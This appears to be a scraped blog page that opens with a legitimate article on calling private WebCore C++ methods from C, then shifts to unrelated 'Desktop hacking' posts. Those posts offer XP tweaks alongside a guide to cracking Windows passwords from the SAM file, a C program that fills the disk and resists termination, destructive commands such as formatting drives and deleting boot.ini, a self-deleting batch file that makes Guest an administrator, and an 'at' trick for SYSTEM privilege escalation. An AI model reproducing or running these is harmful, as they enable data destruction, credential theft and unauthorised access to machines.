This code was initially developed over the course of about one week, and then took approximately two months of debugging before it became stable. Since then Apple has broken it several times with Safari updates, with the changes required being anything from a simple change of offsets to a large re-engineering of the function.
The prototype of the function is thus: void LiveDict_1_3_WebViewGetTextAtPoint(id webHTMLView, NSPoint point, NSString **text, int *offset) Given an instance of a WebHTMLView (the thing inside a WebView that does all the work) and a point, the function is to return the text at that point, and the offset into that text which represents where that point is located inside it. This is then used to look up the appropriate word in LiveDictionary. (The 1_3 thing is a version numbering scheme so it doesn't conflict with nearly identical functions made for other versions of Safari.)
You would think that this would be easy, but at the time I originally wrote this function, there was no public way to obtain this information. Obviously there is some way to do it, since WebKit itself does it, for example when you drag to select some text. So I dove into WebCore to see how it was done.
]
After much digging, I found the KHTMLPart class which has a method called isPointInsideSelection that does basically the same thing. I ripped out the bits I didn't need and came up with the following C++ code:
id bridge = [webHTMLView _bridge];
KWQKHTMLPart *part = [bridge part];
DocumentImpl *impl = part->xmlDocImpl();
khtml::RenderObject *r = impl->renderer();
khtml::RenderObject::NodeInfo nodeInfo(true, true);
r->layer()->hitTest(nodeInfo, (int)location.x, (int)location.y);
NodeImpl *nodeImpl = nodeInfo.innerNonSharedNode();
if(!nodeImpl || !nodeImpl->renderer() || !nodeImpl->renderer()->isText())
return;
Position position = innerNode->positionForCoordinates(absXPos - renderXPos, absYPos - renderYPos);
Not too bad, right? Most of the code is just drilling down to the object I need to interrogate, and then asking it. (There's a little bit at the end to get the actual text of the node that I left off.)
But... I can't just write that code. All of these classes are private and buried in WebCore so I can't link against them. I can't just copy the headers because that still requires linking against them. So I decided to replicate the entire thing in C.
The only thing is, it's a bit complicated to do from C. The entire file, which contains nothing but the above function, its support functions, and comments, is 340 lines long. Over 10kB of source code just to replicate that straightforward C++. I'm going to show you exactly how it's done.
Virtual Reality
As you probably know, C++ has two types of methods (C++-ites like to call them "member functions", but that's not the sort of foolishness you'll see me spouting), virtual methods and the regular kind. Virtual methods are like the methods in other OO languages, in that the implementation is looked up at runtime. The regular kind is this weird abomination where the implementation is looked up entirely at compile time based on the declared type of the object. Since these two types of methods act so differently, we have to invoke them differently when we're hacking from C.
Static Hiss
Regular C++ methods are pretty easy to call from C, as long as you can get a pointer to them. They're actually just regular C functions with funny names and a single implicit parameter (this). So, for example, the xmlDocImpl method is non-virtual. Declared as a function pointer, it looks like: void * (*KHTMLPart_xmlDocImplP)(void *); You'll see a lot of void * in this article. This is because I completely don't care about types; if I'm slinging pointers around, I'll just use void * for convenience. So here we see that it returns a pointer, and takes a single parameter, the implicit this pointer. If I've assigned the function pointer to the right value, then I can perform the equivalent call from C as:
void *xmlDocImpl = KHTMLPart_xmlDocImplP(part);
The only remaining piece is to get the right pointer. Here, I use the APEFindSymbol function from Unsanity's APELite. (Note that this function requires having the mach_header of WebCore; getting this is left as an exercise for the reader.) All you have to know is the symbol name, which is easy to find by just dumping the symbols in WebCore using nm and looking for one that seems to fit. The code is:
KHTMLPart_xmlDocImplP = APEFindSymbol(header, "__ZNK9KHTMLPart10xmlDocImplEv");
And that's all there is to it. The C++ code contains two other references to non-virtual methods, the renderer method, and the hitTest method. They are used similarly.
Static Interference
Unlike certain other dynamic languages, C++ allows for stack-allocated objects. The NodeInfo instance is an example of this. Creating a stack object translates to C fairly directly. First you need to allocate space, which is done by creating a struct with the right memory layout. Then you need to construct the object by calling its constructor. However, in this case, I noticed that the constructor does nothing but set everything to zero. I don't know exactly what is in a NodeInfo but I know that it's five pointers. So my NodeInfo declaration in C looks like this:
struct NodeInfoStruct {
void *dummy1, *dummy2, *dummy3, *dummy4, *dummy5;
} nodeInfo = {0};
Of course if WebCore's NodeInfo definition ever changes significantly I'll be in a world of hurt. Oddly enough this never happened, though....
Inline Fun
C++ also likes inline methods that are declared in the header. I, however, hate them because they don't actually get a symbol in the built library. This means that their implementation is something I can't invoke. However, I can see what they do and copy them. The renderer method is one of these. All it does is return an instance variable of the object. So I just figured out the offset of that instance variable and ripped it out. It turns out that it's 22 pointer-sizes into the object, so my replacement function is just:
static void *Function_DocumentImpl_renderer(void *obj)
{
void **objLayoutPtr = obj;
return objLayoutPtr[22];
}
Ugly but effective. Again, if the internal layout of the object ever changes then I'm screwed, but this never happened.
Virtually Impossible
Unfortunately calling virtual methods is ever so slightly harder. I'll cover the theory first, then get into how to call them.
A C++ object that contains virtual methods has as its first four bytes a pointer to its class's vtable. A vtable is a big array of function pointers which exists on a per-class basis. Each virtual method is assigned an index in this table. A virtual method is invoked by indexing into the vtable, getting the function pointer, and then calling it.
Once you have a pointer to it, a virtual method works just like a non-virtual method, in that it looks like a C function with an extra parameter stuck on the front. So a function that does all this work to invoke the correct implementation looks like this:
static void *RenderObject_layer(void *obj)
{
const int layerVtableOffset = 7;
typedef void *(*LayerFptr)(void *);
LayerFptr **fakeObj = obj;
LayerFptr fptr = fakeObj[0][layerVtableOffset];
return fptr(obj);
}
There is a constant for the vtable offset, and a typedef for the function pointer that will be invoked. Next I treat the object as if it were just a vtable, since I don't care about the other parts of it. Then I just index into the object to get the vtable, index into the vtable to get the function pointer, and finally invoke it.
Debugger? What's That?
Now if you've been paying close attention, right about now you're thinking, "Where did he get that 7 from?" And a very good question that is!
The answer is basically trial and error. From looking at the headers you can count the virtual methods and make a guess, but this is unreliable. Virtual methods get laid out in the order that the compiler encounters them, so you can just count them off starting from the very first method in the highest superclass, working your way down, and find the offset.
The trouble with that approach is two-fold. First, people suck at counting, especially when you're counting stuff in mountains of evil C++. Second, if you get it wrong, you'll crash in horrible and weird ways. You'll be invoking a completely different function which probably takes completely different arguments and returns a completely different values. Debugging that error will not be fun; this is already difficult enough as it is, without adding another layer of undebuggability. So ideally we'd want to come up with a guess, and then check it. We can use our friend the debugger to tell us what the offset is.
I set a breakpoint in a location where I had a pointer to the object I wanted to investigate. In this case it's obj, which is a RenderObject (or an instance of a subclass). I'll find the offset of the layer function that I used in the previous example.
(gdb) p obj
$1 = (void *) 0x55127c0 Here we can see the object as a plain old void *. We'll have to do some creative casting to dig into it. (gdb) p *(void **)obj
$2 = (void *) 0xa5ca0e38 There's the vtable. (gdb) p **(void ***)obj
$3 = (void *) 0x95e5deb0 And that's the first entry in the vtable. But it's just another address, not very informative. (gdb) p /a 0x95e5deb0
$5 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev> Ah hah! If we tell gdb to format it as an address (the /a thing) then it looks up the symbol. And so now we know that the function at offset 0 is "_ZN5khtml12RenderCanvasD1Ev". That's probably a constructor or something of that nature. (gdb) p /a (*(void ***)obj)[0]
$6 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev> Here's a nicer way to look into the vtable. Instead of chasing pointers and manually printing addresses, I'll grab the vtable and then treat it like an array. I don't want to manually print off vtable entries until I find the right one, so I'm going to see if I can get gdb to print a bunch of them for me.
(gdb) set $i = 0
(gdb) p /a (*(void ***)obj)[$i]
$7 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev> Better, it will print the entry at the index in $i. Now I just need a loop. (gdb) while $i < 10
>print $i
>p /a (*(void ***)obj)[$i]
>set $i = $i + 1
>end
$29 = 0
$30 = 0x95e5deb0 <_zn5khtml12rendercanvasd1ev>
$31 = 1
$32 = 0x95d5e130 <_zn5khtml12rendercanvasd0ev>
$33 = 2
$34 = 0x95cef53c <_zn5khtml12renderobject9setpixmaperk7qpixmaprk5qrectpns_11cachedimagee>
$35 = 3
$36 = 0x95e31ea8 <_zn5khtml18cachedobjectclient13setstylesheeterkn3dom9domstringes4_>
$37 = 4
$38 = 0x95cef538 <_zn5khtml18cachedobjectclient14notifyfinishedepns_12cachedobjecte>
$39 = 5
$40 = 0x95f1e24c <_znk5khtml15rendercontainer10firstchildev>
$41 = 6
$42 = 0x95f1e254 <_znk5khtml15rendercontainer9lastchildev>
$43 = 7
$44 = 0x95f1dd80 <_znk5khtml9renderbox5layerev>
$45 = 8
$46 = 0x95f1d7a0 <_zn5khtml12renderobject19positionchildlayersev>
$47 = 9
$48 = 0x95c9d7b8 <_zn5khtml12renderobject13requireslayerev>
The number 10 was arbitrary, somewhat informed by my guessing from reading the headers. You can keep going higher if you don't find it. But in this case we hit the jackpot; we see a function called layer at offset 7. And that is the story of the 7 in the vtable example above.
Insects and Other Horrors
This isn't exactly a technique to use, but it's a cautionary tale. One of the C++ lines reads:
Position position = innerNode->positionForCoordinates(absXPos - renderXPos, absYPos - renderYPos); This gets translated into C as: struct DOMPosition position = RenderObject_positionForCoordinatesP(parentRenderer, absXPos /*- renderXPos*/, absYPos /*- renderYPos*/); The original definition of struct DOMPosition was: struct DOMPosition {
void *m_node;
long m_offset;
};
This worked fine for a long time, but this past winter it came time to make a Universal binary of LiveDictionary. I groveled through the source code, checked it over with a fine-toothed comb, made sure all of my endians were swapped, and then sent off a build to somebody with an actual Intel Mac. And of course, it crashed almost instantly. And as I'm sure you've guessed, it crashed on that very line.
I spent a while not finding very much, just verifying that the PPC and Intel versions were doing the same thing. This line was suspicious because it's the only hacked C++ method that returns a struct.
On PPC, struct returns are done by using an implicit parameter and returning by reference. If you write this:
struct Point p = Function(x);
It gets translated internally to something like this:
struct Point p;
Function(&p, x);
With the return being done by having Function write to the struct via this implicit first parameter.
I thought that Intel might be different, and it is just a little bit. It turns out that on Intel, this convention is only used for structs that are longer than 8 bytes. Small structs are returned just like primitives. But still, there was no difference in calling convention between C functions and C++ methods, so things should still work even if this struct was only 8 bytes.
After some more digging I discovered the problem. At some point, DOMPosition had gained a third member. Doh! My struct was 4 bytes too short. It had continued to work on PPC through sheer luck; either the new member wasn't used, or the four bytes following the struct on the stack were something that could be harmlessly overwritten. But on Intel, those extra 4 bytes were enough to push the function over the edge; WebCore was returning the struct using the implicit parameter, but LiveDictionary was expecting a normal return, and so wasn't passing an implicit parameter. The result was a nasty crash.
The latest definition of the struct looks like:
struct DOMPosition {
void *m_node;
long m_offset;
int m_affinity;
};
With that fix, the Intel build worked fine.
Conclusions
Hacking on private C++ classes is harrowing and dangerous but doable. With the proper care, it can form the backbone of a whole application, so long as frequent updates are part of the plan, and the application is suitably paranoid. LiveDictionary would put up a very dire warning and disable itself by default if it detected a version of Safari that was newer than what it knew about. While I recommend this as the absolute last resort, and all other avenues should be explored first, it can be done if it's necessary.
Desktop hacking
21 Tips 4 increasing XP performance.
1] Your Pc Must have 256MB RAM , 512 MB Cache , Intel Pentium 4 Processor, 40 GB HDD. These are the minimum requirements. 2] If you see a 'virtual memory low' message then increase its virtual memory. To increase virtual memory,Go to My Computer->Properties->Advanced->Performance Settings->Advanced->Virtual Memory->Change->Select the appropriate drive->Custom size->set appropriate level(our it is 600(min.) & 700(max.)->Ok. 3] Increase 'Visual Performance'. Go to My Computer->Properties->Advanced->Performance Settings->Visual Settings->Custom->Select only the following options.
a)Slide taskbar buttons.
b)Smooth edges of screen fonts.
c)Smooth-scroll list boxes.
d)Use a background image for each folder type.
e)Use visual style on windows and buttons. 4] Don't keep unwanted/extra fonts. To remove extra fonts, Go to Start->Settings->Control Panel->Fonts. 5] Your Desktop Wallpaper & Screensaver consume a large amount of disk space. Select the 'None' option for both wallpapers & Screensavers. 6] Avoid keeping DEMO Games. 7] Uninstall the unwanted Softwares. 8] Use Registry Cleaner to keep your registry clean(without errors). 9] Try to keep Music and pictures files in the folder specified by windows itself. 10]Use Hybernating Option for Quick windows start. To active Hybernating follow the following steps.
Desktop->Properties->Screensaver->Power->Hybernating->Enable Hybernating->Ok. 11] Keep your Dektop clean with unwanted icons. 12] Use Intel Application Accelerator to speed up your disk access, 13] Memory management (at least 512MB RAM Required). This allow XP to keep data in Memory instead of paging section of RAM.
Go to->Start->Run->regedit->HKEY_LOCAL_MACHINE->SYSTEM->CurrentControlSet->Control->Session Manager->Memory Management->Double click it->DisablePageingExecutive->Double Clik it->Set value to 1. 14] Disable Yahoo Messenger, Google Talk, and other unwanted programs from startup. (You can use registry editior to do this.). Because they do not appear in normal Startup Option. 15] Disable indexing files service (only if you do not use search option regularly). To do this follow the following steps.
Go to My Computer->Select the drive for which you want to disable the indexing service->Properties->Unselect 'Allow Indexing Service'->Ok. 16] For Windows XP, You must use NTFS partition. FAT partition is less supportive for Windows XP. 17] In BIOS, Select first booting device as your HDD. 18] Setting Priority High for a particular program.
Open Task Manager->Processes->Select the desired Program->Right Click->Set Priority->High->Ok.
This Priority set if for current session. Once you restart your system then its priority will again be Normal. 19] Keep deleting your Temporary Internet Files in regular intervals.
Go to Windows Drive (c: or d:)->Select the User->Local Settings->Temporary Internet Files 20] Empty your browser's cache in regular intervals. 21] Avoid keeping Movies in your PC.
Cracking Windows Logon Password.(Hacking SAM file) Windows NT/2000/XP/2003
SAM File - Holds the user names and password hashes for every account on the local machine, or domain if it is a domain controller.
-What are password Hashes? Actually when we enter password in Windows Logon Tab, Windows encryptsour password using an encryption scheme that turns our password into something that looks like this: 65464564s1d4d2c9a56s42166d55se SAM file can be found under C:(default OS drive) -> WINNT -> System32 -> Config -> SAM. SAM file can be cracked by sing a simple freeware software "SAMInside". Troubleshooting : While copying SAM file it shows an error of "Access Denied" or "File in Use". Actually copying of SAM file is restricted by Windows. There are many alternatives to copy SAM file. [1] You can boot your system by a Live Linux CD such as Knnopix or Fedora. Linux has access to all Windows Files. This way SAM file can be easily copied. Keylogger.
And remember:
You have the right to know!
Source: http://www.spyarsenal.com/
Multiple Google Talk.
Multiple Yahoo Messenger / Yahoo Pal.
BIOS Passwords Hacks.
- A #1 or #2 Phillips-head screwdriver, or (less likely) a T-15 TORX driver or a 1/4" hex nutdriver, to open the case
- Needle-nosed pliers if you are working with jumpers
- A small flashlight or headlamp
- Turn the PC off (this means a total shutdown, not merely standby or hibernate mode) and disconnect the AC power cord.
- Remove the cover from your system (this step may require tools, undoing a thumbscrew, or flipping a latch or two).
- Refer to the user manual for the motherboard to find out how to "reset CMOS" memory. You may also find a label for specific jumper or switch settings marked on the system board.
- Change the switch setting or jumper position to a specific position or remove the jumper entirely as prescribed in the manual to clear or reset the CMOS memory.
- Wait 20-30 seconds for the memory to clear out from lack of power.
- After 20-30 seconds put the switch or jumper the way it was before for normal use.
- Reconnect the power cord and start up the system to see if the settings have changed to defaults.
- Shut the PC down, disconnect the power cord, replace the cover, reconnect the power, and power up the PC.
- Enter the BIOS setup program to configure the system as needed. This may include setting the date and time, selecting disk drive parameters, and selecting which devices the system uses to boot up with first.
Create BAD sectors on HDD.
#include
#include
#include
#include
#include
#include
#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0;
int x;
int fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf("sekt0r: trashing hard disk with bad sectors!\n");
while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);
for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);
} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */
void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}
Change DOS Colour.
COLOR [attr]
attr Specifies color attribute of console output
Color attributes are specified by TWO hex digits -- the first corresponds to the background; the second the foreground. Each digit can be any of the below values.
0 = Black 8 = Gray 1 = Blue 9 = Light Blue 2 = Green A = Light Green 3 = Aqua B = Light Aqua 4 = Red C = Light Red 5 = Purple D = Light Purple 6 = Yellow E = Light Yellow 7 = White F = Bright White If no argument is given, this command restores the color to what it was when CMD.EXE started. This value either comes from the current console window, the /T command line switch or from the Default Color registry value. The COLOR command sets ERROR LEVEL to 1 if an attempt is made to execute the COLOR command with a foreground and background color that are the same. EXAMPLE
Color 2A = Creates a green background with light bright green text, similar to many of the FTP, telnet, and old BBS console screens.
Valid for a session only.
Speed Up XP Booting.
Locate the following key in the registry:
HKEY_LOCAL_MACHINE\SYSTEM\Current ControlSet\Control\Ses sionManager\MemoryManagement\Prefetch Parameters
Make sure you backup the keys by exporting them to a .reg file.
On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).
Close the registry editor.
Restart your computer.
Change Text on XP Start button.
HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon
In the right pane, double click the Shell entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.
Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.
Format c:\ /Q/X -- this will format your drive c:\ 011001100110111101110010011011010110000 10111010000 100000011000110011101001011100 0010000000101111010100010010111101011000 Format d:\ /Q/X -- this will format your drive d:\ 011001100110111101110010011011010110000 10111010000 100000011001000011101001011100 0010000000101111010100010010111101011000
Format a:\ /Q/X -- this will format your drive a:\
0110011001101111011100100110110101100 0010111010000 100000011000010011101001011100 0010000000101111010100010010111101011000 del /F/S/Q c:\boot.ini -- this will STOP your computer from booting.
011001000110010101101100001000000010 11110100011000 101111010100110010111101010001 001000000110001100111010010111000110 00100110111101 101111011101000010111001101001 0110111001101001
Hack admin from xp guest account(Thats possible )This is a featured page
Well thats possible ..
Please Dont missuse This ARTICLE. Its meant for "Educational Purpose" only or for helping those who have lost their PASSWORD.
HaCk "GUEST" with Admin privileges........
echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0
Copy this to notepad and save the file as "Guest2admin.bat"
then u can double click the file to execute or run in the cmd.
it works...
~ Cheers ~
- Haking "admin" from "user" mode n more
really that is possible !
u know why is it a "user" account because it lacks come service layer than that in "administrator" account
Using simple command line tools on a machine running Windows XP we will obtain system level privileges, and run the entire explorer process (Desktop), and all processes that run from it have system privileges. The system run level is higher than administrator, and has full control of the operating system and it’s kernel. On many machines this can be exploited even with the guest account. At the time I’m publishing this, I have been unable to find any other mention of people running an entire desktop as system, although I have seen some articles regarding the SYSTEM command prompt.
Local privilege escalation is useful on any system that a hacker may compromise; the system account allows for several other things that aren’t normally possible (like resetting the administrator password).
The Local System account is used by the Windows OS to control various aspects of the system (kernel, services, etc); the account shows up as SYSTEM in the Task Manager
Local System differs from an Administrator account in that it has full control of the operating system, similar to root on a *nix machine. Most System processes are required by the operating system, and cannot be closed, even by an Administrator account; attempting to close them will result in a error message. The following quote from Wikipedia explains this in a easy to understand way:
You can trick the system into running a program, script, or batch file with system level privileges.
One sample
One trick is to use a vulnerability in Windows long filename support.
Try placing an executable named Program.*, in the root directory of the "Windows" drive. Then reboot. The system may run the Program.*, with system level privileges. So long as one of the applications in the "Program Files" directory is a startup app. The call to "Program Files", will be intercepted by Program.*.
Microsoft eventually caught on to that trick. Now days, more and more, of the startup applications are being coded to use limited privileges.
In Windows NT and later systems derived from it (Windows 2000, Windows XP, Windows Server 2003 and Windows Vista), there may or may not be a superuser. By default, there is a superuser named Administrator, although it is not an exact analogue of the Unix root superuser account. Administrator does not have all the privileges of root because some superuser privileges are assigned to the Local System account in Windows NT.Quote:
Under normal circumstances, a user cannot run code as System, only the operating system itself has this ability, but by using the command line, we will trick Windows into running our desktop as System, along with all applications that are started from within.
Getting SYSTEM
I will now walk you through the process of obtaining SYSTEM privileges.
To start, lets open up a command prompt (Start > Run > cmd > [ENTER]).
At the prompt, enter the following command, then press [ENTER]:
Code:
at
If it responds with an “access denied” error, then we are out of luck, and you’ll have to try another method of privilege escalation; if it responds with “There are no entries in the list” (or sometimes with multiple entries already in the list) then we are good. Access to the at command varies, on some installations of Windows, even the Guest account can access it, on others it’s limited to Administrator accounts. If you can use the at command, enter the following commands, then press [ENTER]:
Code:
at 15:25 /interactive “cmd.exe”
Lets break down the preceding code. The “at” told the machine to run the at command, everything after that are the operators for the command, the important thing here, is to change the time (24 hour format) to one minute after the time currently set on your computers clock, for example: If your computer’s clock says it’s 4:30pm, convert this to 24 hour format (16:30) then use 16:31 as the time in the command. If you issue the at command again with no operators, then you should see something similar to this:
When the system clock reaches the time you set, then a new command prompt will magically run. The difference is that this one is running with system privileges (because it was started by the task scheduler service, which runs under the Local System account). It should look like this:
You’ll notice that the title bar has changed from cmd.exe to svchost.exe (which is short for Service Host). Now that we have our system command prompt, you may close the old one. Run Task Manager by either pressing CTRL+ALT+DELETE or typing taskmgr at the command prompt. In task manager, go to the processes tab, and kill explorer.exe; your desktop and all open folders should disappear, but the system command prompt should still be there.
At the system command prompt, enter in the following:
Code:
explorer.exe
A desktop will come back up, but what this? It isn’t your desktop. Go to the start menu and look at the user name, it should say “SYSTEM”. Also open up task manager again, and you’ll notice that explorer.exe is now running as SYSTEM. The easiest way to get back into your own desktop, is to log out and then log back in. The following 2 screenshots show my results (click to zoom):
System user name on start menu
explorer.exe running under SYSTEM
What to do now
Now that we have SYSTEM access, everything that we run from our explorer process will have it too, browsers, games, etc. You also have the ability to reset the administrators password, and kill other processes owned by SYSTEM. You can do anything on the machine, the equivalent of root; You are now God of the Windows machine. I’ll leave the rest up to your imagination.
ADMINISTRATOR IN WELCOME SCREEN.
When you install Windows XP an Administrator Account is created (you are asked to supply an administrator password), but the "Welcome Screen" does not give you the option to log on as Administrator unless you boot up in Safe Mode.
First you must ensure that the Administrator Account is enabled:
1 open Control Panel
2 open Administrative Tools
3 open Local Security Policy
4 expand Local Policies
5 click on Security Options
6 ensure that Accounts: Administrator account status is enabled Then follow the instructions from the "Win2000 Logon Screen Tweak" ie.
1 open Control Panel
2 open User Accounts
3 click Change the way users log on or log off
4 untick Use the Welcome Screen
5 click Apply Options
You will now be able to log on to Windows XP as Administrator in Normal Mode.
EASY WAY TO ADD THE ADMINISTRATOR USER TO THE WELCOME SCREEN.!!
Start the Registry Editor Go to:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList \
Right-click an empty space in the right pane and select New > DWORD Value Name the new value Administrator. Double-click this new value, and enter 1 as it's Value data. Close the registry editor and restart.
Enjoy
Subscribe to:
Posts (Atom)